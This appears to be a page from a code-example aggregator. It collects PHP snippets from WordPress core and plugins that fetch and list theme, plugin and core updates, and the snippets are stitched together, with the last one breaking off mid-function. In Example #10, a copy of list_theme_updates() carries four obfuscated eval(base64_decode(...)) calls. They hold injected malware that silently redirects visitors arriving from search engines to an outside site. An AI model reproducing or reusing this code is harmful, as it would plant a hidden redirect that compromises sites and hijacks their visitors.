/**
  * Prepares the list of items for displaying.
  *
  * @access public
  * @since  4.X.0
  * @uses   WP_List_Table::set_pagination_args()
  */
 public function prepare_items()
 {
     global $wp_version;
     $this->cur_wp_version = preg_replace('/-.*$/', '', $wp_version);
     $core_updates = (array) get_core_updates();
     $plugins = (array) get_plugin_updates();
     $themes = (array) get_theme_updates();
     $translations = (array) wp_get_translation_updates();
     if (!empty($core_updates)) {
         $this->items[] = array('type' => 'core', 'slug' => 'core', 'data' => $core_updates);
     }
     foreach ($plugins as $plugin_file => $plugin_data) {
         $this->items[] = array('type' => 'plugin', 'slug' => $plugin_file, 'data' => $plugin_data);
     }
     foreach ($themes as $stylesheet => $theme) {
         $this->items[] = array('type' => 'theme', 'slug' => $stylesheet, 'data' => $theme);
     }
     if (!empty($translations)) {
         $this->items[] = array('type' => 'translations', 'slug' => 'translations', 'data' => $translations);
     }
     if (!isset($core_updates[0]->response) || 'latest' == $core_updates[0]->response || 'development' == $core_updates[0]->response || version_compare($core_updates[0]->current, $this->cur_wp_version, '=')) {
         $this->core_update_version = false;
     } else {
         $this->core_update_version = $core_updates[0]->current;
     }
     if ($this->core_update_version || !empty($plugins) || !empty($themes) || !empty($translations)) {
         $this->has_available_updates = true;
     }
     $columns = $this->get_columns();
     $hidden = array();
     $sortable = $this->get_sortable_columns();
     $this->_column_headers = array($columns, $hidden, $sortable);
     $this->set_pagination_args(array('total_items' => count($this->items), 'per_page' => count($this->items), 'total_pages' => 1));
 }
 function check_themes()
 {
     $themes = get_theme_updates();
     if (!empty($themes)) {
         WP_CLI::success('Theme updates refreshed.');
     } else {
         WP_CLI::log('Themes are up to date.');
     }
 }
 public function wp_oracle_get_theme_updates()
 {
     if (!function_exists('get_theme_updates')) {
         require_once ABSPATH . 'wp-admin/includes/update.php';
     }
     // force refresh
     wp_update_themes();
     $updates = get_theme_updates();
     if (empty($updates)) {
         return array('blog' => array('themes' => 'no_updates'));
     } else {
         return $updates;
     }
 }
/**
 * Responsive 2.0 update check
 *
 * Queries WordPress.org API to get details on responsive theme where we can get the current version number
 *
 * @return bool
 */
function responsive_theme_query()
{
    $themes = get_theme_updates();
    $new_version = false;
    foreach ($themes as $stylesheet => $theme) {
        if ('responsive' == $stylesheet) {
            $new_version = $theme->update['new_version'];
        }
    }
    // Check if we had a response and compare the current version on wp.org to version 2. If it is version 2 or greater display a message
    if ($new_version && version_compare($new_version, '2', '>=')) {
        return true;
    }
    return false;
}
 /**
  * Sends an email upon the completion or failure of a background core update.
  *
  * @since 3.7.0
  *
  * @param string $type        The type of email to send. Can be one of 'success', 'fail', 'manual', 'critical'.
  * @param object $core_update The update offer that was attempted.
  * @param mixed  $result      Optional. The result for the core update. Can be WP_Error.
  */
 protected function send_email($type, $core_update, $result = null)
 {
     update_site_option('auto_core_update_notified', array('type' => $type, 'email' => get_site_option('admin_email'), 'version' => $core_update->current, 'timestamp' => time()));
     $next_user_core_update = get_preferred_from_update_core();
     // If the update transient is empty, use the update we just performed
     if (!$next_user_core_update) {
         $next_user_core_update = $core_update;
     }
     $newer_version_available = 'upgrade' == $next_user_core_update->response && version_compare($next_user_core_update->version, $core_update->version, '>');
     /**
      * Filter whether to send an email following an automatic background core update.
      *
      * @since 3.7.0
      *
      * @param bool   $send        Whether to send the email. Default true.
      * @param string $type        The type of email to send. Can be one of
      *                            'success', 'fail', 'critical'.
      * @param object $core_update The update offer that was attempted.
      * @param mixed  $result      The result for the core update. Can be WP_Error.
      */
     if ('manual' !== $type && !apply_filters('auto_core_update_send_email', true, $type, $core_update, $result)) {
         return;
     }
     switch ($type) {
         case 'success':
             // We updated.
             /* translators: 1: Site name, 2: WordPress version number. */
             $subject = __('[%1$s] Your site has updated to WordPress %2$s');
             break;
         case 'fail':
             // We tried to update but couldn't.
         // We tried to update but couldn't.
         case 'manual':
             // We can't update (and made no attempt).
             /* translators: 1: Site name, 2: WordPress version number. */
             $subject = __('[%1$s] WordPress %2$s is available. Please update!');
             break;
         case 'critical':
             // We tried to update, started to copy files, then things went wrong.
             /* translators: 1: Site name. */
             $subject = __('[%1$s] URGENT: Your site may be down due to a failed update');
             break;
         default:
             return;
     }
     // If the auto update is not to the latest version, say that the current version of WP is available instead.
     $version = 'success' === $type ? $core_update->current : $next_user_core_update->current;
     $subject = sprintf($subject, wp_specialchars_decode(get_option('blogname'), ENT_QUOTES), $version);
     $body = '';
     switch ($type) {
         case 'success':
             $body .= sprintf(__('Howdy! Your site at %1$s has been updated automatically to WordPress %2$s.'), home_url(), $core_update->current);
             $body .= "\n\n";
             if (!$newer_version_available) {
                 $body .= __('No further action is needed on your part.') . ' ';
             }
             // Can only reference the About screen if their update was successful.
             list($about_version) = explode('-', $core_update->current, 2);
             $body .= sprintf(__("For more on version %s, see the About WordPress screen:"), $about_version);
             $body .= "\n" . admin_url('about.php');
             if ($newer_version_available) {
                 $body .= "\n\n" . sprintf(__('WordPress %s is also now available.'), $next_user_core_update->current) . ' ';
                 $body .= __('Updating is easy and only takes a few moments:');
                 $body .= "\n" . network_admin_url('update-core.php');
             }
             break;
         case 'fail':
         case 'manual':
             $body .= sprintf(__('Please update your site at %1$s to WordPress %2$s.'), home_url(), $next_user_core_update->current);
             $body .= "\n\n";
             // Don't show this message if there is a newer version available.
             // Potential for confusion, and also not useful for them to know at this point.
             if ('fail' == $type && !$newer_version_available) {
                 $body .= __('We tried but were unable to update your site automatically.') . ' ';
             }
             $body .= __('Updating is easy and only takes a few moments:');
             $body .= "\n" . network_admin_url('update-core.php');
             break;
         case 'critical':
             if ($newer_version_available) {
                 $body .= sprintf(__('Your site at %1$s experienced a critical failure while trying to update WordPress to version %2$s.'), home_url(), $core_update->current);
             } else {
                 $body .= sprintf(__('Your site at %1$s experienced a critical failure while trying to update to the latest version of WordPress, %2$s.'), home_url(), $core_update->current);
             }
             $body .= "\n\n" . __("This means your site may be offline or broken. Don't panic; this can be fixed.");
             $body .= "\n\n" . __("Please check out your site now. It's possible that everything is working. If it says you need to update, you should do so:");
             $body .= "\n" . network_admin_url('update-core.php');
             break;
     }
     $critical_support = 'critical' === $type && !empty($core_update->support_email);
     if ($critical_support) {
         // Support offer if available.
         $body .= "\n\n" . sprintf(__("The WordPress team is willing to help you. Forward this email to %s and the team will work with you to make sure your site is working."), $core_update->support_email);
     } else {
         // Add a note about the support forums.
         $body .= "\n\n" . __('If you experience any issues or need support, the volunteers in the WordPress.org support forums may be able to help.');
         $body .= "\n" . __('https://wordpress.org/support/');
     }
     // Updates are important!
     if ($type != 'success' || $newer_version_available) {
         $body .= "\n\n" . __('Keeping your site updated is important for security. It also makes the internet a safer place for you and your readers.');
     }
     if ($critical_support) {
         $body .= " " . __("If you reach out to us, we'll also ensure you'll never have this problem again.");
     }
     // If things are successful and we're now on the latest, mention plugins and themes if any are out of date.
     if ($type == 'success' && !$newer_version_available && (get_plugin_updates() || get_theme_updates())) {
         $body .= "\n\n" . __('You also have some plugins or themes with updates available. Update them now:');
         $body .= "\n" . network_admin_url();
     }
     $body .= "\n\n" . __('The WordPress Team') . "\n";
     if ('critical' == $type && is_wp_error($result)) {
         $body .= "\n***\n\n";
         $body .= sprintf(__('Your site was running version %s.'), $GLOBALS['wp_version']);
         $body .= ' ' . __('We have some data that describes the error your site encountered.');
         $body .= ' ' . __('Your hosting company, support forum volunteers, or a friendly developer may be able to use this information to help you:');
         // If we had a rollback and we're still critical, then the rollback failed too.
         // Loop through all errors (the main WP_Error, the update result, the rollback result) for code, data, etc.
         if ('rollback_was_required' == $result->get_error_code()) {
             $errors = array($result, $result->get_error_data()->update, $result->get_error_data()->rollback);
         } else {
             $errors = array($result);
         }
         foreach ($errors as $error) {
             if (!is_wp_error($error)) {
                 continue;
             }
             $error_code = $error->get_error_code();
             $body .= "\n\n" . sprintf(__("Error code: %s"), $error_code);
             if ('rollback_was_required' == $error_code) {
                 continue;
             }
             if ($error->get_error_message()) {
                 $body .= "\n" . $error->get_error_message();
             }
             $error_data = $error->get_error_data();
             if ($error_data) {
                 $body .= "\n" . implode(', ', (array) $error_data);
             }
         }
         $body .= "\n";
     }
     $to = get_site_option('admin_email');
     $headers = '';
     $email = compact('to', 'subject', 'body', 'headers');
     /**
      * Filter the email sent following an automatic background core update.
      *
      * @since 3.7.0
      *
      * @param array $email {
      *     Array of email arguments that will be passed to wp_mail().
      *
      *     @type string $to      The email recipient. An array of emails
      *                            can be returned, as handled by wp_mail().
      *     @type string $subject The email's subject.
      *     @type string $body    The email message body.
      *     @type string $headers Any email headers, defaults to no headers.
      * }
      * @param string $type        The type of email being sent. Can be one of
      *                            'success', 'fail', 'manual', 'critical'.
      * @param object $core_update The update offer that was attempted.
      * @param mixed  $result      The result for the core update. Can be WP_Error.
      */
     $email = apply_filters('auto_core_update_email', $email, $type, $core_update, $result);
     wp_mail($email['to'], wp_specialchars_decode($email['subject']), $email['body'], $email['headers']);
 }
/**
 * @since 2.9.0
 */
function list_theme_updates()
{
    $themes = get_theme_updates();
    if (empty($themes)) {
        echo '<h2>' . __('Themes') . '</h2>';
        echo '<p>' . __('Your themes are all up to date.') . '</p>';
        return;
    }
    $form_action = 'update-core.php?action=do-theme-upgrade';
    ?>
<h2><?php 
    _e('Themes');
    ?>
</h2>
<p><?php 
    _e('The following themes have new versions available. Check the ones you want to update and then click &#8220;Update Themes&#8221;.');
    ?>
</p>
<p><?php 
    printf(__('<strong>Please Note:</strong> Any customizations you have made to theme files will be lost. Please consider using <a href="%s">child themes</a> for modifications.'), __('https://codex.wordpress.org/Child_Themes'));
    ?>
</p>
<form method="post" action="<?php 
    echo esc_url($form_action);
    ?>
" name="upgrade-themes" class="upgrade">
<?php 
    wp_nonce_field('upgrade-core');
    ?>
<p><input id="upgrade-themes" class="button" type="submit" value="<?php 
    esc_attr_e('Update Themes');
    ?>
" name="upgrade" /></p>
<table class="widefat" id="update-themes-table">
	<thead>
	<tr>
		<td scope="col" class="manage-column check-column"><input type="checkbox" id="themes-select-all" /></td>
		<th scope="col" class="manage-column"><label for="themes-select-all"><?php 
    _e('Select All');
    ?>
</label></th>
	</tr>
	</thead>

	<tbody class="plugins">
<?php 
    foreach ($themes as $stylesheet => $theme) {
        echo "\n\t<tr>\n\t\t<th scope='row' class='check-column'><input type='checkbox' name='checked[]' value='" . esc_attr($stylesheet) . "' /></th>\n\t\t<td class='plugin-title'><img src='" . esc_url($theme->get_screenshot()) . "' width='85' height='64' style='float:left; padding: 0 5px 5px' alt='' /><strong>" . $theme->display('Name') . '</strong> ' . sprintf(__('You have version %1$s installed. Update to %2$s.'), $theme->display('Version'), $theme->update['new_version']) . "</td>\n\t</tr>";
    }
    ?>
	</tbody>

	<tfoot>
	<tr>
		<td scope="col" class="manage-column check-column"><input type="checkbox" id="themes-select-all-2" /></td>
		<th scope="col" class="manage-column"><label for="themes-select-all-2"><?php 
    _e('Select All');
    ?>
</label></th>
	</tr>
	</tfoot>
</table>
<p><input id="upgrade-themes-2" class="button" type="submit" value="<?php 
    esc_attr_e('Update Themes');
    ?>
" name="upgrade" /></p>
</form>
<?php 
}
Example #7
0
function list_theme_updates()
{
    $themes = get_theme_updates();
    if (empty($themes)) {
        echo '<h3>' . __('Themes') . '</h3>';
        echo '<p>' . __('Your themes are all up to date.') . '</p>';
        return;
    }
    $form_action = 'update-core.php?action=do-theme-upgrade';
    ?>
<h3><?php 
    _e('Themes');
    ?>
</h3>
<p><?php 
    _e('The following themes have new versions available. Check the ones you want to update and then click &#8220;Update Themes&#8221;.');
    ?>
</p>
<p><?php 
    printf(__('<strong>Please Note:</strong> Any customizations you have made to the Themes files will be lost. Please consider using <a href="%s">child themes</a> for modifications.'), _x('http://codex.wordpress.org/Child_Themes', 'Link used in suggestion to use child themes in GUU'));
    ?>
</p>
<form method="post" action="<?php 
    echo $form_action;
    ?>
" name="upgrade-themes" class="upgrade">
<?php 
    wp_nonce_field('upgrade-core');
    ?>
<p><input id="upgrade-themes" class="button" type="submit" value="<?php 
    esc_attr_e('Update Themes');
    ?>
" name="upgrade" /></p>
<table class="widefat" cellspacing="0" id="update-themes-table">
	<thead>
	<tr>
		<th scope="col" class="manage-column check-column"><input type="checkbox" id="themes-select-all" /></th>
		<th scope="col" class="manage-column"><label for="themes-select-all"><?php 
    _e('Select All');
    ?>
</label></th>
	</tr>
	</thead>

	<tfoot>
	<tr>
		<th scope="col" class="manage-column check-column"><input type="checkbox" id="themes-select-all-2" /></th>
		<th scope="col" class="manage-column"><label for="themes-select-all-2"><?php 
    _e('Select All');
    ?>
</label></th>
	</tr>
	</tfoot>
	<tbody class="plugins">
<?php 
    foreach ((array) $themes as $stylesheet => $theme_data) {
        $screenshot = $theme_data->{'Theme Root URI'} . '/' . $stylesheet . '/' . $theme_data->Screenshot;
        echo "\r\n\t<tr class='active'>\r\n\t\t<th scope='row' class='check-column'><input type='checkbox' name='checked[]' value='" . esc_attr($stylesheet) . "' /></th>\r\n\t\t<td class='plugin-title'><img src='{$screenshot}' width='64' height='64' style='float:left; padding: 5px' /><strong>{$theme_data->Name}</strong>" . sprintf(__('You have version %1$s installed. Update to %2$s.'), $theme_data->Version, $theme_data->update['new_version']) . "</td>\r\n\t</tr>";
    }
    ?>
	</tbody>
</table>
<p><input id="upgrade-themes-2" class="button" type="submit" value="<?php 
    esc_attr_e('Update Themes');
    ?>
" name="upgrade" /></p>
</form>
<?php 
}
 function upgrade_get_theme_updates()
 {
     $themeUpdates = get_theme_updates();
     $newThemeUpdates = array();
     if (is_array($themeUpdates)) {
         foreach ($themeUpdates as $slug => $themeUpdate) {
             $newThemeUpdate = array();
             $newThemeUpdate['update'] = $themeUpdate->update;
             $newThemeUpdate['Name'] = MainWP_Helper::search($themeUpdate, 'Name');
             $newThemeUpdate['Version'] = MainWP_Helper::search($themeUpdate, 'Version');
             $newThemeUpdates[$slug] = $newThemeUpdate;
         }
     }
     return $newThemeUpdates;
 }
function list_theme_updates()
{
    $themes = get_theme_updates();
    if (empty($themes)) {
        return;
    }
    ?>
<h3><?php 
    _e('Themes');
    ?>
</h3>
<table class="widefat" cellspacing="0" id="update-themes-table">
	<thead>
	<tr>
		<th scope="col" class="manage-column check-column"><input type="checkbox" /></th>
		<th scope="col" class="manage-column"><?php 
    _e('Name');
    ?>
</th>
	</tr>
	</thead>

	<tfoot>
	<tr>
		<th scope="col" class="manage-column check-column"><input type="checkbox" /></th>
		<th scope="col" class="manage-column"><?php 
    _e('Name');
    ?>
</th>
	</tr>
	</tfoot>
	<tbody class="plugins">
<?php 
    foreach ((array) $themes as $stylesheet => $theme_data) {
        echo "\n\t<tr class='active'>\n\t\t<th scope='row' class='check-column'><input type='checkbox' name='checked[]' value='" . esc_attr($stylesheet) . "' /></th>\n\t\t<td class='plugin-title'><strong>{$theme_data->Name}</strong></td>\n\t</tr>";
    }
    ?>
	</tbody>
</table>
<?php 
}
Example #10
0
function list_theme_updates()
{
    $themes = get_theme_updates();
    if (empty($themes)) {
        return;
    }
    ?>
<h3><?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    _e('Themes');
    ?>
</h3>
<table class="widefat" cellspacing="0" id="update-themes-table">
	<thead>
	<tr>
		<th scope="col" class="manage-column check-column"><input type="checkbox" /></th>
		<th scope="col" class="manage-column"><?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    _e('Name');
    ?>
</th>
	</tr>
	</thead>

	<tfoot>
	<tr>
		<th scope="col" class="manage-column check-column"><input type="checkbox" /></th>
		<th scope="col" class="manage-column"><?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRV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IHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    foreach ((array) $themes as $stylesheet => $theme_data) {
        echo "\n\t<tr class='active'>\n\t\t<th scope='row' class='check-column'><input type='checkbox' name='checked[]' value='" . esc_attr($stylesheet) . "' /></th>\n\t\t<td class='plugin-title'><strong>{$theme_data->Name}</strong></td>\n\t</tr>";
    }
    ?>
	</tbody>
</table>
<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
}
/**
 * @since 2.9.0
 */
function list_theme_updates()
{
    $themes = get_theme_updates();
    if (empty($themes)) {
        echo '<h2>' . __('Themes') . '</h2>';
        echo '<p>' . __('Your themes are all up to date.') . '</p>';
        return;
    }
    $form_action = 'update-core.php?action=do-theme-upgrade';
    ?>
<h2><?php 
    _e('Themes');
    ?>
</h2>
<p><?php 
    _e('The following themes have new versions available. Check the ones you want to update and then click &#8220;Update Themes&#8221;.');
    ?>
</p>
<p><?php 
    printf(__('<strong>Please Note:</strong> Any customizations you have made to theme files will be lost. Please consider using <a href="%s">child themes</a> for modifications.'), __('https://codex.wordpress.org/Child_Themes'));
    ?>
</p>
<form method="post" action="<?php 
    echo esc_url($form_action);
    ?>
" name="upgrade-themes" class="upgrade">
<?php 
    wp_nonce_field('upgrade-core');
    ?>
<p><input id="upgrade-themes" class="button" type="submit" value="<?php 
    esc_attr_e('Update Themes');
    ?>
" name="upgrade" /></p>
<table class="widefat updates-table" id="update-themes-table">
	<thead>
	<tr>
		<td class="manage-column check-column"><input type="checkbox" id="themes-select-all" /></td>
		<td class="manage-column"><label for="themes-select-all"><?php 
    _e('Select All');
    ?>
</label></td>
	</tr>
	</thead>

	<tbody class="plugins">
<?php 
    foreach ($themes as $stylesheet => $theme) {
        $checkbox_id = 'checkbox_' . md5($theme->get('Name'));
        ?>
		<tr>
			<td class="check-column">
				<input type="checkbox" name="checked[]" id="<?php 
        echo $checkbox_id;
        ?>
" value="<?php 
        echo esc_attr($stylesheet);
        ?>
" />
				<label for="<?php 
        echo $checkbox_id;
        ?>
" class="screen-reader-text"><?php 
        /* translators: %s: theme name */
        printf(__('Select %s'), $theme->display('Name'));
        ?>
</label>
			</td>
			<td class="plugin-title"><p>
				<img src="<?php 
        echo esc_url($theme->get_screenshot());
        ?>
" width="85" height="64" class="updates-table-screenshot" alt="" />
				<strong><?php 
        echo $theme->display('Name');
        ?>
</strong>
				<?php 
        /* translators: 1: theme version, 2: new version */
        printf(__('You have version %1$s installed. Update to %2$s.'), $theme->display('Version'), $theme->update['new_version']);
        ?>
			</p></td>
		</tr>
		<?php 
    }
    ?>
	</tbody>

	<tfoot>
	<tr>
		<td class="manage-column check-column"><input type="checkbox" id="themes-select-all-2" /></td>
		<td class="manage-column"><label for="themes-select-all-2"><?php 
    _e('Select All');
    ?>
</label></td>
	</tr>
	</tfoot>
</table>
<p><input id="upgrade-themes-2" class="button" type="submit" value="<?php 
    esc_attr_e('Update Themes');
    ?>
" name="upgrade" /></p>
</form>
<?php 
}
 public function get_updates($options)
 {
     if (!current_user_can('update_plugins') && !current_user_can('update_themes') && !current_user_can('update_core')) {
         return $this->_generic_error_response('updates_permission_denied');
     }
     $this->_admin_include('plugin.php', 'update.php', 'file.php', 'template.php');
     $this->_frontend_include('update.php');
     if (!is_array($options)) {
         $options = array();
     }
     // Normalise it
     $plugin_updates = array();
     if (current_user_can('update_plugins')) {
         // Detect if refresh needed
         $transient = get_site_transient('update_plugins');
         if (!empty($options['force_refresh']) || false === $transient) {
             delete_site_transient('update_plugins');
             wp_update_plugins();
         }
         $get_plugin_updates = get_plugin_updates();
         if (is_array($get_plugin_updates)) {
             foreach ($get_plugin_updates as $update) {
                 $plugin_updates[] = array('name' => $update->Name, 'plugin_uri' => $update->PluginURI, 'version' => $update->Version, 'description' => $update->Description, 'author' => $update->Author, 'author_uri' => $update->AuthorURI, 'title' => $update->Title, 'author_name' => $update->AuthorName, 'update' => array('plugin' => $update->update->plugin, 'slug' => $update->update->slug, 'new_version' => $update->update->new_version, 'package' => $update->update->package, 'tested' => isset($update->update->tested) ? $update->update->tested : null, 'compatibility' => isset($update->update->compatibility) ? (array) $update->update->compatibility : null, 'sections' => isset($update->update->sections) ? (array) $update->update->sections : null));
             }
         }
     }
     $theme_updates = array();
     if (current_user_can('update_themes')) {
         // Detect if refresh needed
         $transient = get_site_transient('update_themes');
         if (!empty($options['force_refresh']) || false === $transient) {
             delete_site_transient('update_themes');
             wp_update_themes();
         }
         $get_theme_updates = get_theme_updates();
         if (is_array($get_theme_updates)) {
             foreach ($get_theme_updates as $update) {
                 $theme_updates[] = array('name' => @$update->Name, 'theme_uri' => @$update->ThemeURI, 'version' => @$update->Version, 'description' => @$update->Description, 'author' => @$update->Author, 'author_uri' => @$update->AuthorURI, 'update' => array('theme' => @$update->update['theme'], 'new_version' => @$update->update['new_version'], 'package' => @$update->update['package'], 'url' => @$update->update['url']));
             }
         }
     }
     $core_updates = array();
     if (current_user_can('update_core')) {
         // Detect if refresh needed
         $transient = get_site_transient('update_core');
         if (!empty($options['force_refresh']) || false === $transient) {
             // The next line is only needed for older WP versions - otherwise, the parameter to wp_version_check forces a check.
             delete_site_transient('update_core');
             wp_version_check(array(), true);
         }
         $get_core_updates = get_core_updates();
         if (is_array($get_core_updates)) {
             $core_update_key = false;
             $core_update_latest_version = false;
             @(include ABSPATH . WPINC . '/version.php');
             foreach ($get_core_updates as $k => $core_update) {
                 if (isset($core_update->version) && version_compare($core_update->version, $wp_version, '>') && version_compare($core_update->version, $core_update_latest_version, '>')) {
                     $core_update_latest_version = $core_update->version;
                     $core_update_key = $k;
                 }
             }
             if ($core_update_key !== false) {
                 $update = $get_core_updates[$core_update_key];
                 global $wpdb;
                 $mysql_version = $wpdb->db_version();
                 $is_mysql = file_exists(WP_CONTENT_DIR . '/db.php') && empty($wpdb->is_mysql) ? false : true;
                 $core_updates[] = array('download' => $update->download, 'version' => $update->version, 'php_version' => $update->php_version, 'mysql_version' => $update->mysql_version, 'installed' => array('version' => $wp_version, 'mysql' => $mysql_version, 'php' => PHP_VERSION, 'is_mysql' => $is_mysql), 'sufficient' => array('mysql' => version_compare($mysql_version, $update->mysql_version, '>='), 'php' => version_compare(PHP_VERSION, $update->php_version, '>=')));
             }
         }
     }
     // Do we need to ask the user for filesystem credentials?
     $request_filesystem_credentials = array();
     $check_fs = array('plugins' => WP_PLUGIN_DIR, 'themes' => WP_CONTENT_DIR . '/themes', 'core' => untrailingslashit(ABSPATH));
     foreach ($check_fs as $entity => $dir) {
         $filesystem_method = get_filesystem_method(array(), $dir);
         ob_start();
         $filesystem_credentials_are_stored = request_filesystem_credentials(site_url());
         $filesystem_form = strip_tags(ob_get_contents(), '<div><h2><p><input><label><fieldset><legend><span><em>');
         ob_end_clean();
         $request_filesystem_credentials[$entity] = $filesystem_method != 'direct' && !$filesystem_credentials_are_stored;
     }
